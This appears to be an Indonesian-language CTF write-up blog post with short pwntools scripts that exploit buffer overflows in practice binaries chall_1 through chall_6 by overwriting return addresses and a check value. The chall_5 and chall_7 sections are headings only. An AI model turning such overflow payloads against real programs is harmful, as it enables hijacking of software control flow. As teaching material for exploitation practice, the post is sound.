Post

bufferoverflow chall wu

Challenge ini didapat dari mas Fauzan Magribi kalo mau coba challengenya silahkan. Di sini saya akan share writeup dari challenge tersebut.

Chall_1

1
2
3
4
5
6
from pwn import *
elf = process('chall_1')

pay = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
elf.sendline(pay)
elf.interactive()

Chall_2

1
2
3
4
5
6
from pwn import *
elf = process('chall_2')

pay = b'a'*20+b'\x3f\xb3\x4d\xd3'
elf.sendline(pay)
elf.interactive()

Chall_3

1
2
3
4
5
6
from pwn import *
elf = process('chall_3')

pay = b'a'*28+b'\x26\x85\x04\x08'
elf.sendline(pay)
elf.interactive()

Chall_4

1
2
3
4
5
6
from pwn import *
elf = process('chall_4')

pay = b'\x00'*28+b'f\x85\x04\x08'
elf.sendline(pay)
elf.interactive()

Chall_5

Chall_6

1
2
3
4
5
6
from pwn import *
elf = process('chall_6')

pay = b'a'*28+b'&\x85\x04\x08'+b'a'*12+b'\xde\xc0\xad\xde'
elf.sendline(pay)
elf.interactive()

Chall_7

This post is licensed under CC BY 4.0 by the author.

Trending Tags